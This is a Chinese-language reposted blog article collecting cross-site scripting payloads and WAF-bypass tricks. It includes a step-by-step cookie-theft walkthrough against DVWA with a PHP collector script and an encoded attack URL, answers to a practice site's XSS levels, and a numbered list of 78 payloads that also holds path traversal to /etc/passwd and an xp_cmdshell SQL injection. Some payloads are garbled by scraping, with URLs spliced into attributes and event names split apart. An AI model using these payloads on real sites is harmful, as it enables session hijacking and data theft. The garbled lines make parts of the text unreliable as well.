XSS 跨站腳本（練習平臺-waf繞過-payload大全）-有解無憂

常用測驗陳述句：

<script language='javascript'>alert('test！');</script>
<script>alert('test')</script>
<svg/onload=alert(1)>
"><svg/onload=alert(1)//
onfocus=javascript:alert(2)
" onm ouseover="prompt('xss')" bad="

<img>標簽：

<img src =https://www.cnblogs.com/trevain/archive/2020/11/10/1 one rror=alert(document.cookie)> #彈出 cooki e

<img src=https://www.cnblogs.com/trevain/archive/2020/11/10/1 on er ror=alert(123)> 注：對于數字，可以不用引號

<body>標簽：可以使用 onl oad 屬性或其他更加模糊的屬性（如屬性）在標記內部傳遞 XSS 有效內容 background

IFrame 可以包含 Jav aScript，但是，請注意，由于瀏覽器的內容安全策略

（ CSP），iFrame 中的 J avaScript 無法訪問父頁面的 DOM，然而，IF rame 仍然

是非常有效的解除網路釣魚攻擊的手段，

<input>標簽：在某些瀏覽器中，如果標記的 type 屬性 <input>設置為 image，

則可以對其進行操作以嵌入腳本

"javascript:confirm(1);"

<table>標簽：可以利用和標簽的 backgr oun d 屬性來引用腳本而不是圖像

<div>標簽：該 <div>標簽，類似于 <table>和 <td>標簽也可以指定一個背景，因此嵌入的腳本，

彈窗測驗XSS js中，alert() 警告彈窗，confirm() 確認彈窗 prompt() 輸入彈窗

XSS 反射型攻擊思路（前提服務器有XSS漏洞）：

用戶登錄服務器中
攻擊者誘騙用戶點擊有攻擊代碼的url
用戶點擊后訪問服務器
服務器回應代碼，在用戶瀏覽器偷偷中執行攻擊腳本，發送關鍵資訊例如cookie給攻擊這服務器
攻擊者利用收到的資訊偽造用戶訪問服務器

例子：

第一步：

攻擊者本地服務器代碼

Http://127.0.0.1/cookie.php ：//攻擊者的IP地址

<?php

$cookie = $_GET[‘cookie’]; //接收GET中的cookie引數

$fp=fopen('cookie.txt','w'); //創建cookie.txt檔案 w表示寫入，如果是a 表示追加

fwrite($fp,$cookie);

fclose($fp);

第二步：攻擊Js構造

Document.location=’http://127.0.0.1/cookie.php?cookie=’+document.cookie;

</script> //把當地的cookie發送到http://127.0.0.1/cookie.php上

第三步：構建攻擊url

http://192.168.23.131/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

第四步：對引數進行url編碼

http://192.168.23.131/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E%20

第四步：誘導用戶點擊，回到攻擊者cookie.txt檔案中，已經記錄了用戶的資訊

最后就是利用用戶的cookie進行劫持會話

xss練習平臺：http://xss.fbisb.com/

第一關：利用前端過濾，瀏覽器關閉js陳述句即可繞過

第二關.閉合法閉合前面的陳述句

“><a /href “javascript:confirm(1)”>

"><sCript>confirm(1)</Script>

"><Script src=https://www.cnblogs.com/trevain/archive/2020/11/10/’https://www.baidu.com’>

confirm(1)

" onclick="alert(1) “ 閉合前面的雙引號，滑鼠點擊事件

" onfocus="confirm(1)

xss練習第三關：

過濾了以下字符：

第四關：過濾掉了<>

"onmouseover="javascript:alert(1) //滑鼠移動事件

" onfocus="alert(/xss/) //點擊事件

第五關：過濾了<sricpt 和on

1"<a>1<a href=' javascript:alert(1)'/>"

1"<a>1<a href=' javascript:confirm(1)'/>"

confirm(1)

跳出input標簽

"><a href="javascript:alert(/xss/)">xss</a>

第六關過濾了很多js陳述句，但沒考慮大小寫

"Onmouseover="javascript:alert(1)

進行大小寫繞過

在input標簽中觸發XSS：

payload：" onm ouseover="alert(/xss/)

跳出input標簽觸發XSS：

payload："><sCript>alert(/xss/)</sCript>

第七關：只過一次利用兩次

scriptscript=script

"Oonnmouseover="javascript:alert(1)

第八關

很多都轉義了 “ on script 等

用編碼繞過，采用html物體編碼 t ---> t

javascript:alert(/xss/)

第九關：加個http://

第十關：

這道題有倆個輸出的地方，第一個被物體化過濾，第二個是隱藏表單的"t_sort"引數

即'$str33',過濾了尖括號，那么就在input標簽中觸發xss即可，可以用onmouseover或者

是onclick，需要將隱藏表單顯示出來觸發

payload為：url后加 &t_sort=xss" onm ouseover=alert(/xss/) type="text"

payload為：url后加 &t_sort=xss" onclick=alert(/xss/) type="text

思路：

查看源代碼，編輯，看看是不是已經物體化轉換了，單雙引號

如果是，則用用不要<>和引號類的過濾看看

waf繞過：

參考：https://blog.csdn.net/spang_33/article/details/80930046

特殊符號繞過 # 亂打

1.對方開啟了httponly屬性

如果在cookie中設定了HttpOnly屬性，那么通過js腳本將無法讀取到cookie資訊，有效防止xss攻擊

表單劫持：劫持用戶瀏覽器提交的的表單，或者保存在瀏覽器的表單

payload 大全：

 1 '><script>alert(document.cookie)</script>
 2  ='><script>alert(document.cookie)</script>
 3  <script>alert(document.cookie)</script>
 4  <script>alert(vulnerable)</script>
 5  %3Cscript%3Ealert('XSS')%3C/script%3E
 6  <script>alert('XSS')</script>
 7  <img src=https://www.cnblogs.com/trevain/archive/2020/11/10/"javascript:alert('XSS')">
 8  %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
 9  %22%3cscript%3ealert(%22xss%22)%3c/script%3e
10  %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
11  %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
12  %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
13  %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
14  %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
15  %3f.jsp
16  %3f.jsp
17  <script>alert('Vulnerable');</script>
18  <script>alert('Vulnerable')</script>
19  ?sql_debug=1
20  a%5c.aspx
21  a.jsp/<script>alert('Vulnerable')</script>
22  a/
23  a?<script>alert('Vulnerable')</script>
24  "><script>alert('Vulnerable')</script>
25  ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
26  %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
27  %3Cscript%3Ealert(document. domain);%3C/script%3E&
28  %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
29  <IMG src=https://www.cnblogs.com/trevain/archive/2020/11/10/"javascript:alert('XSS');">
30  <IMG src=javascript:alert('XSS')>
31  <IMG src=JaVaScRiPt:alert('XSS')>
32  <IMG src=JaVaScRiPt:alert("XSS")>
33  <IMG src=javascript:alert('XSS')>
34  <IMG src=javascript:alert('XSS')>
35  <IMG src=https://www.cnblogs.com/trevain/archive/2020/11/10/javascript:alert('XSS')>
36  <IMG src=https://www.cnblogs.com/trevain/archive/2020/11/10/"jav ascript:alert('XSS');">
37  <IMG src=https://www.cnblogs.com/trevain/archive/2020/11/10/"jav ascript:alert('XSS');">
38  <IMG src=https://www.cnblogs.com/trevain/archive/2020/11/10/"jav ascript:alert('XSS');">
39  "<IMG src=https://www.cnblogs.com/trevain/archive/2020/11/10/java/0script:alert(/"XSS\")>";' > out
40  <IMG src=https://www.cnblogs.com/trevain/archive/2020/11/10/" javascript:alert('XSS');">
41  <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
42  <BODY BACKGROUND="javascript:alert('XSS')">
43  <BODY onl oad=alert('XSS')>
44  <IMG DYNSRC=https://www.cnblogs.com/trevain/archive/2020/11/10/"javascript:alert('XSS')">
45  <IMG LOWSRC=https://www.cnblogs.com/trevain/archive/2020/11/10/"javascript:alert('XSS')">
46  <BGSOUND src=https://www.cnblogs.com/trevain/archive/2020/11/10/"javascript:alert('XSS');">
47  <br size="&{alert('XSS')}">
48  <LAYER src=https://www.cnblogs.com/trevain/archive/2020/11/10/"http://xss.ha.ckers.org/a.js"></layer>
49  <LINK REL="stylesheet" href=https://www.cnblogs.com/trevain/archive/2020/11/10/"javascript:alert('XSS');">
50  <IMG src=https://www.cnblogs.com/trevain/archive/2020/11/10/'vbscript:msgbox("XSS")'>
51  <IMG src=https://www.cnblogs.com/trevain/archive/2020/11/10/"mocha:[code]">
52  <IMG src=https://www.cnblogs.com/trevain/archive/2020/11/10/"livescript:[code]">
53  <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
54  <IFRAME src=javascript:alert('XSS')></IFRAME>
55  <FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
56  <TABLE BACKGROUND="javascript:alert('XSS')">
57  <DIV STYLE="background-image: url(javascript:alert('XSS'))">
58  <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
59  <DIV STYLE="width: expression(alert('XSS'));">
60  <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
61  <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
62  <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
63  <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
64  <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
65  <BASE href=https://www.cnblogs.com/trevain/archive/2020/11/10/"javascript:alert('XSS');//">
66  getURL("javascript:alert('XSS')")
67  a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
68  <XML src=https://www.cnblogs.com/trevain/archive/2020/11/10/"javascript:alert('XSS');">
69  "> <BODY onl oad="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
70  <SCRIPT src=https://www.cnblogs.com/trevain/archive/2020/11/10/"http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
71  <IMG src=https://www.cnblogs.com/trevain/archive/2020/11/10/"javascript:alert('XSS')"
72  <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
73  <IMG src=https://www.cnblogs.com/trevain/archive/2020/11/10/"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
74  <SCRIPT a=">" src=https://www.cnblogs.com/trevain/archive/2020/11/10/"http://xss.ha.ckers.org/a.js"></SCRIPT>
75  <SCRIPT =">" src=https://www.cnblogs.com/trevain/archive/2020/11/10/"http://xss.ha.ckers.org/a.js"></SCRIPT>
76  <SCRIPT a=">" '' src=https://www.cnblogs.com/trevain/archive/2020/11/10/"http://xss.ha.ckers.org/a.js"></SCRIPT>
77  <SCRIPT "a='>'" src=https://www.cnblogs.com/trevain/archive/2020/11/10/"http://xss.ha.ckers.org/a.js"></SCRIPT>
78  <SCRIPT>document.write("<SCRI");</SCRIPT>PT src=https://www.cnblogs.com/trevain/archive/2020/11/10/"http://xss.ha.ckers.org/a.js"></SCRIPT>

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/209274.html

標籤：其他

上一篇：移動邊緣計算中的安全問題現狀

下一篇：Flutter 一個優美的用戶體驗的登錄頁面抖動提示文本提示